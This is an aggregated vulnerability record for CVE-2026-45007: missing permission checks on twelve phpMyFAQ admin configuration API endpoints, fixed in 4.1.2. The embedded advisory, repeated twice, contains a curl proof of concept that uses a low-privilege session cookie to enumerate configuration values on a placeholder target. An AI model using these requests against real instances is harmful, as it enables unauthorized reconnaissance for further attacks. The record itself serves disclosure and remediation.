{"id":"CVE-2026-45007","aliases":["EUVD-2026-30591","GHSA-p26v-fx3x-r2rp","GHSA-rm98-82fr-mcfx"],"status":"published","title":"phpMyFAQ - Missing Permission Check on 12 Configuration API Endpoints Allows Information Disclosure","description":"phpMyFAQ before 4.1.2 contains missing permission checks in ConfigurationTabController.php where 12 endpoints use userIsAuthenticated() instead of userHasPermission(CONFIGURATION_EDIT). Any authenticated user can enumerate system configuration metadata including permission model, cache backend, mail provider, and translation provider by querying /admin/api/configuration endpoints, violating least privilege access control.","severity":{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00261,"percentile":0.17884,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-862"],"published":"2026-05-06T20:24:39Z","modified":"2026-11-08T14:03:33Z","fixes":[{"ecosystem":"Packagist","package":"thorsten/phpmyfaq","fixed_in":["4.1.2"],"sources":["ghsa","osv"]},{"ecosystem":"Packagist","package":"phpmyfaq/phpmyfaq","fixed_in":["4.1.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"thorsten/phpmyfaq","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"4.1.1"},{"fixed":"4.1.2"}]}]},{"source":"ghsa","ecosystem":"Packagist","package":"phpmyfaq/phpmyfaq","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"4.1.1"},{"fixed":"4.1.2"}]}]},{"source":"osv","ecosystem":"Packagist","package":"thorsten/phpmyfaq","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.2"}]}],"versions":["2.10.0-alpha","2.8.0","2.8.0-RC","2.8.0-RC2","2.8.0-RC3","2.8.0-RC4","2.8.0-alpha2","2.8.0-alpha3","2.8.0-beta","2.8.0-beta2","2.8.0-beta3","2.8.1","2.8.10","2.8.11","2.8.12","2.8.13","2.8.14","2.8.15","2.8.16","2.8.17","2.8.18","2.8.19","2.8.2","2.8.20","2.8.21","2.8.22","2.8.23","2.8.24","2.8.25","2.8.26","2.8.27","2.8.28","2.8.29","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0-alpha","2.9.0-alpha2","2.9.0-alpha3","2.9.0-alpha4","2.9.0-beta","2.9.0-beta2","2.9.0-rc","2.9.0-rc2","2.9.0-rc3","2.9.0-rc4","2.9.1","2.9.10","2.9.11","2.9.12","2.9.13","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","3.0.0","3.0.0-RC","3.0.0-RC.2","3.0.0-alpha","3.0.0-alpha.2","3.0.0-alpha.3","3.0.0-alpha.4","3.0.0-beta","3.0.0-beta.2","3.0.0-beta.3","3.0.1","3.0.10","3.0.11","3.0.12","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.0-RC","3.1.0-alpha","3.1.0-alpha.2","3.1.0-alpha.3","3.1.0-beta","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0-RC","3.2.0-RC.2","3.2.0-RC.4","3.2.0-alpha","3.2.0-beta","3.2.0-beta.2","3.2.1","3.2.10","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.2.8","3.2.9","4.0.0","4.0.0-RC","4.0.0-RC.2","4.0.0-RC.3","4.0.0-RC.4","4.0.0-RC.5","4.0.0-alpha","4.0.0-alpha.2","4.0.0-alpha.3","4.0.0-alpha.4","4.0.0-beta","4.0.0-beta.2","4.0.1","4.0.10","4.0.11","4.0.12","4.0.13","4.0.14","4.0.15","4.0.16","4.0.18","4.0.19","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0-RC","4.1.0-RC.2","4.1.0-RC.4","4.1.0-RC.5","4.1.0-RC.6","4.1.0-RC.7","4.1.0-alpha","4.1.0-alpha.2","4.1.0-alpha.3","4.1.0-beta","4.1.0-beta.2","4.1.1"]},{"source":"osv","ecosystem":"Packagist","package":"phpmyfaq/phpmyfaq","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.2"}]}],"versions":["2.10.0-alpha","2.8.0","2.8.0-RC","2.8.0-RC2","2.8.0-RC3","2.8.0-RC4","2.8.0-alpha2","2.8.0-alpha3","2.8.0-beta","2.8.0-beta2","2.8.0-beta3","2.8.1","2.8.10","2.8.11","2.8.12","2.8.13","2.8.14","2.8.15","2.8.16","2.8.17","2.8.18","2.8.19","2.8.2","2.8.20","2.8.21","2.8.22","2.8.23","2.8.24","2.8.25","2.8.26","2.8.27","2.8.28","2.8.29","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0-alpha","2.9.0-alpha2","2.9.0-alpha3","2.9.0-alpha4","2.9.0-beta","2.9.0-beta2","2.9.0-rc","2.9.0-rc2","2.9.0-rc3","2.9.0-rc4","2.9.1","2.9.10","2.9.11","2.9.12","2.9.13","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","3.0.0","3.0.0-RC","3.0.0-RC.2","3.0.0-alpha","3.0.0-alpha.2","3.0.0-alpha.3","3.0.0-alpha.4","3.0.0-beta","3.0.0-beta.2","3.0.0-beta.3","3.0.1","3.0.10","3.0.11","3.0.12","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.0-RC","3.1.0-alpha","3.1.0-alpha.2","3.1.0-alpha.3","3.1.0-beta","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0-RC","3.2.0-RC.2","3.2.0-RC.4","3.2.0-alpha","3.2.0-beta","3.2.0-beta.2","3.2.1","3.2.10","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.2.8","3.2.9","4.0.0","4.0.0-RC","4.0.0-RC.2","4.0.0-RC.3","4.0.0-RC.4","4.0.0-RC.5","4.0.0-alpha","4.0.0-alpha.2","4.0.0-alpha.3","4.0.0-alpha.4","4.0.0-beta","4.0.0-beta.2","4.0.1","4.0.10","4.0.11","4.0.12","4.0.13","4.0.14","4.0.15","4.0.16","4.0.18","4.0.19","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0-RC","4.1.0-RC.2","4.1.0-RC.4","4.1.0-RC.5","4.1.0-RC.6","4.1.0-RC.7","4.1.0-alpha","4.1.0-alpha.2","4.1.0-alpha.3","4.1.0-beta","4.1.0-beta.2","4.1.1"]}],"products":[{"vendor":"thorsten","product":"phpmyfaq"}],"references":[{"url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-rm98-82fr-mcfx","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/phpmyfaq-missing-permission-check-on-12-configuration-api-endpoints-allows-information-disclosure","tags":["third-party-advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45007","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-p26v-fx3x-r2rp"},{"url":"https://github.com/advisories/GHSA-rm98-82fr-mcfx"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45007.json","tags":["advisory"]},{"url":"https://github.com/thorsten/phpMyFAQ","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-45007","title":"phpMyFAQ - Missing Permission Check on 12 Configuration API Endpoints Allows Information Disclosure","description":"phpMyFAQ before 4.1.2 contains missing permission checks in ConfigurationTabController.php where 12 endpoints use userIsAuthenticated() instead of userHasPermission(CONFIGURATION_EDIT). Any authenticated user can enumerate system configuration metadata including permission model, cache backend, mail provider, and translation provider by querying /admin/api/configuration endpoints, violating least privilege access control.","status":"published","published":"2026-05-15T18:36:34.935Z","modified":"2026-11-08T14:03:33.495Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"},{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-862"],"updated_at":"2026-11-08T15:43:33.322657Z"}],"euvd":[{"id":"EUVD-2026-30591","description":"phpMyFAQ before 4.1.2 contains missing permission checks in ConfigurationTabController.php where 12 endpoints use userIsAuthenticated() instead of userHasPermission(CONFIGURATION_EDIT). Any authenticated user can enumerate system configuration metadata including permission model, cache backend, mail provider, and translation provider by querying /admin/api/configuration endpoints, violating least privilege access control.","status":"published","published":"2026-05-15T18:36:34Z","modified":"2026-11-08T14:03:33Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-08T15:13:08.77824Z"}],"ghsa":[{"id":"GHSA-p26v-fx3x-r2rp","title":"Duplicate Advisory: phpMyFAQ's Missing CONFIGURATION_EDIT Permission Check on 12 Admin API Configuration Tab Endpoints Allows Information Disclosure by Any Authenticated User","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-pqh6-8fxf-jx22. This link is maintained to preserve external references.\n\n### Original Description\nphpMyFAQ before 4.1.2 contains missing permission checks in ConfigurationTabController.php where 12 endpoints use userIsAuthenticated() instead of userHasPermission(CONFIGURATION_EDIT). Any authenticated user can enumerate system configuration metadata including permission model, cache backend, mail provider, and translation provider by querying /admin/api/configuration endpoints, violating least privilege access control.","status":"withdrawn","published":"2026-05-15T21:31:32Z","modified":"2026-06-09T00:03:14Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"medium"},{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T14:40:22.540562Z"},{"id":"GHSA-rm98-82fr-mcfx","title":"phpMyFAQ's Missing CONFIGURATION_EDIT Permission Check on 12 Admin API Configuration Tab Endpoints Allows Information Disclosure by Any Authenticated User","description":"## Summary\n\n12 endpoints in `ConfigurationTabController.php` use `userIsAuthenticated()` (login-only check) instead of `userHasPermission(PermissionType::CONFIGURATION_EDIT)`. This allows any authenticated user — including ones with zero admin permissions — to enumerate system configuration metadata including the permission model, active template, cache backend, mail provider, and translation provider.\n\n## Details\n\nThe `ConfigurationTabController` contains 15 public endpoints. Three of them (`list`, `save`, `uploadTheme`) correctly enforce `CONFIGURATION_EDIT` permission:\n\n```php\n// phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:63\npublic function list(Request $request): Response\n{\n    $this-\u003euserHasPermission(PermissionType::CONFIGURATION_EDIT); // ✅ Correct\n    // ...\n}\n```\n\nThe remaining 12 only check that the user is logged in:\n\n```php\n// phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:353\npublic function translations(): Response\n{\n    $this-\u003euserIsAuthenticated(); // ❌ Missing permission check\n    // ...\n}\n```\n\nThe difference between these two methods is significant:\n\n```php\n// AbstractController.php:258 — login-only\nprotected function userIsAuthenticated(): void\n{\n    if (!$this-\u003ecurrentUser-\u003eisLoggedIn()) {\n        throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');\n    }\n}\n\n// AbstractController.php:317 — login + permission check\nprotected function userHasPermission(PermissionType $permissionType): void\n{\n    if (!$this-\u003ecurrentUser-\u003eisLoggedIn()) {\n        throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');\n    }\n    $currentUser = $this-\u003ecurrentUser;\n    if (!$currentUser?-\u003eperm-\u003ehasPermission($currentUser-\u003egetUserId(), $permissionType-\u003evalue)) {\n        throw new ForbiddenException(/* ... */);\n    }\n}\n```\n\nThere is no middleware or router-level authorization — the Kernel (`Kernel.php`) dispatches directly to controllers with only Language, Router, and Exception listeners. All authorization is at the controller method level.\n\nThe 12 affected endpoints (all GET, all under `/admin/api/`):\n\n| # | Method | Route | Info Exposed |\n|---|--------|-------|-------------|\n| 1 | `translations()` | `/configuration/translations` | Available languages + current language |\n| 2 | `templates()` | `/configuration/templates` | Available themes + active theme |\n| 3 | `faqsSortingKey()` | `/configuration/faqs-sorting-key/{current}` | FAQ sorting key options |\n| 4 | `faqsSortingOrder()` | `/configuration/faqs-sorting-order/{current}` | FAQ sorting order |\n| 5 | `faqsSortingPopular()` | `/configuration/faqs-sorting-popular/{current}` | Popular FAQ sorting |\n| 6 | `permLevel()` | `/configuration/perm-level/{current}` | Permission model (basic/medium) |\n| 7 | `releaseEnvironment()` | `/configuration/release-environment/{current}` | Dev/production environment |\n| 8 | `searchRelevance()` | `/configuration/search-relevance/{current}` | Search relevance config |\n| 9 | `seoMetaTags()` | `/configuration/seo-metatags/{current}` | SEO meta tag config |\n| 10 | `translationProvider()` | `/configuration/translation-provider/{current}` | Translation service (DeepL, etc.) |\n| 11 | `mailProvider()` | `/configuration/mail-provider/{current}` | Mail provider (SMTP, etc.) |\n| 12 | `cacheAdapter()` | `/configuration/cache-adapter/{current}` | Cache backend (filesystem/redis/memcached) |\n\nThe `translations()` and `templates()` endpoints directly read from config/filesystem and expose current settings. The `{current}` endpoints render HTML `\u003coption\u003e` dropdowns where the caller-supplied value gets the `selected` attribute — an attacker can enumerate possible values to discover the current configuration.\n\n## PoC\n\n```bash\n# Step 1: Authenticate as any user (even one with no admin permissions)\n# and obtain the session cookie (pmf_auth_XXXX)\n\n# Step 2: Query configuration endpoints that should require CONFIGURATION_EDIT permission\n\n# Enumerate available languages and current language setting\ncurl -s -b 'pmf_auth_XXXX=\u003csession\u003e' \\\n  https://target.example/admin/api/configuration/translations\n\n# Enumerate available templates and which is active\ncurl -s -b 'pmf_auth_XXXX=\u003csession\u003e' \\\n  https://target.example/admin/api/configuration/templates\n\n# Discover permission model by trying known values\ncurl -s -b 'pmf_auth_XXXX=\u003csession\u003e' \\\n  https://target.example/admin/api/configuration/perm-level/basic\n\n# Discover release environment\ncurl -s -b 'pmf_auth_XXXX=\u003csession\u003e' \\\n  https://target.example/admin/api/configuration/release-environment/development\n\n# Discover cache backend\ncurl -s -b 'pmf_auth_XXXX=\u003csession\u003e' \\\n  https://target.example/admin/api/configuration/cache-adapter/filesystem\n\n# Discover mail provider\ncurl -s -b 'pmf_auth_XXXX=\u003csession\u003e' \\\n  https://target.example/admin/api/configuration/mail-provider/smtp\n\n# Discover translation provider\ncurl -s -b 'pmf_auth_XXXX=\u003csession\u003e' \\\n  https://target.example/admin/api/configuration/translation-provider/deepl\n```\n\nExpected: HTTP 403 Forbidden for a user without `configuration_edit` permission.\nActual: HTTP 200 with configuration data in HTML option format.\n\n## Impact\n\nAny authenticated user (e.g., a regular FAQ contributor or a user with minimal permissions) can enumerate:\n\n- The instance's permission model (basic vs. medium) — reveals access control architecture\n- Whether the instance runs in development or production mode — development mode may expose debug info\n- The cache backend (filesystem/redis/memcached) — useful for targeting cache-specific attacks\n- The mail provider configuration — reveals infrastructure details\n- Available and active templates/themes — aids in targeting template-specific vulnerabilities\n- Translation provider (e.g., DeepL) — reveals third-party service integrations\n\nWhile no credentials or secrets are directly exposed, this configuration metadata aids targeted follow-up attacks and violates the principle of least privilege — these endpoints exist to serve the admin configuration UI and should require the same `CONFIGURATION_EDIT` permission as the `list` and `save` endpoints.\n\n## Recommended Fix\n\nReplace `$this-\u003euserIsAuthenticated()` with `$this-\u003euserHasPermission(PermissionType::CONFIGURATION_EDIT)` in all 12 affected methods:\n\n```php\n// In ConfigurationTabController.php — apply to all 12 methods\n// Before (line 355, and equivalent in all others):\n$this-\u003euserIsAuthenticated();\n\n// After:\n$this-\u003euserHasPermission(PermissionType::CONFIGURATION_EDIT);\n```\n\nAffected methods: `translations()`, `templates()`, `faqsSortingKey()`, `faqsSortingOrder()`, `faqsSortingPopular()`, `permLevel()`, `releaseEnvironment()`, `searchRelevance()`, `seoMetaTags()`, `translationProvider()`, `mailProvider()`, `cacheAdapter()`.","status":"published","published":"2026-05-06T20:24:39Z","modified":"2026-06-09T00:03:19Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T14:40:22.540562Z"}],"nvd":[{"id":"CVE-2026-45007","description":"phpMyFAQ before 4.1.2 contains missing permission checks in ConfigurationTabController.php where 12 endpoints use userIsAuthenticated() instead of userHasPermission(CONFIGURATION_EDIT). Any authenticated user can enumerate system configuration metadata including permission model, cache backend, mail provider, and translation provider by querying /admin/api/configuration endpoints, violating least privilege access control.","status":"published","published":"2026-05-15T19:17:01.063Z","modified":"2026-10-26T14:10:00.13Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T14:12:19.39893Z"}],"osv":[{"id":"CVE-2026-45007","title":"phpMyFAQ - Missing Permission Check on 12 Configuration API Endpoints Allows Information Disclosure","description":"phpMyFAQ before 4.1.2 contains missing permission checks in ConfigurationTabController.php where 12 endpoints use userIsAuthenticated() instead of userHasPermission(CONFIGURATION_EDIT). Any authenticated user can enumerate system configuration metadata including permission model, cache backend, mail provider, and translation provider by querying /admin/api/configuration endpoints, violating least privilege access control.","status":"published","published":"2026-05-15T18:36:34.935Z","modified":"2026-11-09T02:31:08.861314269Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-862"],"updated_at":"2026-11-09T03:16:44.651171Z"},{"id":"GHSA-p26v-fx3x-r2rp","title":"Duplicate Advisory: phpMyFAQ's Missing CONFIGURATION_EDIT Permission Check on 12 Admin API Configuration Tab Endpoints Allows Information Disclosure by Any Authenticated User","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-pqh6-8fxf-jx22. This link is maintained to preserve external references.\n\n### Original Description\nphpMyFAQ before 4.1.2 contains missing permission checks in ConfigurationTabController.php where 12 endpoints use userIsAuthenticated() instead of userHasPermission(CONFIGURATION_EDIT). Any authenticated user can enumerate system configuration metadata including permission model, cache backend, mail provider, and translation provider by querying /admin/api/configuration endpoints, violating least privilege access control.","status":"withdrawn","published":"2026-05-15T21:31:32Z","modified":"2026-09-10T03:50:47.11657332Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"medium"},{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T15:46:52.534897Z"},{"id":"GHSA-rm98-82fr-mcfx","title":"phpMyFAQ's Missing CONFIGURATION_EDIT Permission Check on 12 Admin API Configuration Tab Endpoints Allows Information Disclosure by Any Authenticated User","description":"## Summary\n\n12 endpoints in `ConfigurationTabController.php` use `userIsAuthenticated()` (login-only check) instead of `userHasPermission(PermissionType::CONFIGURATION_EDIT)`. This allows any authenticated user — including ones with zero admin permissions — to enumerate system configuration metadata including the permission model, active template, cache backend, mail provider, and translation provider.\n\n## Details\n\nThe `ConfigurationTabController` contains 15 public endpoints. Three of them (`list`, `save`, `uploadTheme`) correctly enforce `CONFIGURATION_EDIT` permission:\n\n```php\n// phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:63\npublic function list(Request $request): Response\n{\n    $this-\u003euserHasPermission(PermissionType::CONFIGURATION_EDIT); // ✅ Correct\n    // ...\n}\n```\n\nThe remaining 12 only check that the user is logged in:\n\n```php\n// phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:353\npublic function translations(): Response\n{\n    $this-\u003euserIsAuthenticated(); // ❌ Missing permission check\n    // ...\n}\n```\n\nThe difference between these two methods is significant:\n\n```php\n// AbstractController.php:258 — login-only\nprotected function userIsAuthenticated(): void\n{\n    if (!$this-\u003ecurrentUser-\u003eisLoggedIn()) {\n        throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');\n    }\n}\n\n// AbstractController.php:317 — login + permission check\nprotected function userHasPermission(PermissionType $permissionType): void\n{\n    if (!$this-\u003ecurrentUser-\u003eisLoggedIn()) {\n        throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');\n    }\n    $currentUser = $this-\u003ecurrentUser;\n    if (!$currentUser?-\u003eperm-\u003ehasPermission($currentUser-\u003egetUserId(), $permissionType-\u003evalue)) {\n        throw new ForbiddenException(/* ... */);\n    }\n}\n```\n\nThere is no middleware or router-level authorization — the Kernel (`Kernel.php`) dispatches directly to controllers with only Language, Router, and Exception listeners. All authorization is at the controller method level.\n\nThe 12 affected endpoints (all GET, all under `/admin/api/`):\n\n| # | Method | Route | Info Exposed |\n|---|--------|-------|-------------|\n| 1 | `translations()` | `/configuration/translations` | Available languages + current language |\n| 2 | `templates()` | `/configuration/templates` | Available themes + active theme |\n| 3 | `faqsSortingKey()` | `/configuration/faqs-sorting-key/{current}` | FAQ sorting key options |\n| 4 | `faqsSortingOrder()` | `/configuration/faqs-sorting-order/{current}` | FAQ sorting order |\n| 5 | `faqsSortingPopular()` | `/configuration/faqs-sorting-popular/{current}` | Popular FAQ sorting |\n| 6 | `permLevel()` | `/configuration/perm-level/{current}` | Permission model (basic/medium) |\n| 7 | `releaseEnvironment()` | `/configuration/release-environment/{current}` | Dev/production environment |\n| 8 | `searchRelevance()` | `/configuration/search-relevance/{current}` | Search relevance config |\n| 9 | `seoMetaTags()` | `/configuration/seo-metatags/{current}` | SEO meta tag config |\n| 10 | `translationProvider()` | `/configuration/translation-provider/{current}` | Translation service (DeepL, etc.) |\n| 11 | `mailProvider()` | `/configuration/mail-provider/{current}` | Mail provider (SMTP, etc.) |\n| 12 | `cacheAdapter()` | `/configuration/cache-adapter/{current}` | Cache backend (filesystem/redis/memcached) |\n\nThe `translations()` and `templates()` endpoints directly read from config/filesystem and expose current settings. The `{current}` endpoints render HTML `\u003coption\u003e` dropdowns where the caller-supplied value gets the `selected` attribute — an attacker can enumerate possible values to discover the current configuration.\n\n## PoC\n\n```bash\n# Step 1: Authenticate as any user (even one with no admin permissions)\n# and obtain the session cookie (pmf_auth_XXXX)\n\n# Step 2: Query configuration endpoints that should require CONFIGURATION_EDIT permission\n\n# Enumerate available languages and current language setting\ncurl -s -b 'pmf_auth_XXXX=\u003csession\u003e' \\\n  https://target.example/admin/api/configuration/translations\n\n# Enumerate available templates and which is active\ncurl -s -b 'pmf_auth_XXXX=\u003csession\u003e' \\\n  https://target.example/admin/api/configuration/templates\n\n# Discover permission model by trying known values\ncurl -s -b 'pmf_auth_XXXX=\u003csession\u003e' \\\n  https://target.example/admin/api/configuration/perm-level/basic\n\n# Discover release environment\ncurl -s -b 'pmf_auth_XXXX=\u003csession\u003e' \\\n  https://target.example/admin/api/configuration/release-environment/development\n\n# Discover cache backend\ncurl -s -b 'pmf_auth_XXXX=\u003csession\u003e' \\\n  https://target.example/admin/api/configuration/cache-adapter/filesystem\n\n# Discover mail provider\ncurl -s -b 'pmf_auth_XXXX=\u003csession\u003e' \\\n  https://target.example/admin/api/configuration/mail-provider/smtp\n\n# Discover translation provider\ncurl -s -b 'pmf_auth_XXXX=\u003csession\u003e' \\\n  https://target.example/admin/api/configuration/translation-provider/deepl\n```\n\nExpected: HTTP 403 Forbidden for a user without `configuration_edit` permission.\nActual: HTTP 200 with configuration data in HTML option format.\n\n## Impact\n\nAny authenticated user (e.g., a regular FAQ contributor or a user with minimal permissions) can enumerate:\n\n- The instance's permission model (basic vs. medium) — reveals access control architecture\n- Whether the instance runs in development or production mode — development mode may expose debug info\n- The cache backend (filesystem/redis/memcached) — useful for targeting cache-specific attacks\n- The mail provider configuration — reveals infrastructure details\n- Available and active templates/themes — aids in targeting template-specific vulnerabilities\n- Translation provider (e.g., DeepL) — reveals third-party service integrations\n\nWhile no credentials or secrets are directly exposed, this configuration metadata aids targeted follow-up attacks and violates the principle of least privilege — these endpoints exist to serve the admin configuration UI and should require the same `CONFIGURATION_EDIT` permission as the `list` and `save` endpoints.\n\n## Recommended Fix\n\nReplace `$this-\u003euserIsAuthenticated()` with `$this-\u003euserHasPermission(PermissionType::CONFIGURATION_EDIT)` in all 12 affected methods:\n\n```php\n// In ConfigurationTabController.php — apply to all 12 methods\n// Before (line 355, and equivalent in all others):\n$this-\u003euserIsAuthenticated();\n\n// After:\n$this-\u003euserHasPermission(PermissionType::CONFIGURATION_EDIT);\n```\n\nAffected methods: `translations()`, `templates()`, `faqsSortingKey()`, `faqsSortingOrder()`, `faqsSortingPopular()`, `permLevel()`, `releaseEnvironment()`, `searchRelevance()`, `seoMetaTags()`, `translationProvider()`, `mailProvider()`, `cacheAdapter()`.","status":"published","published":"2026-05-06T20:24:39Z","modified":"2026-09-10T03:50:47.47271505Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T15:46:56.281047Z"}]}}
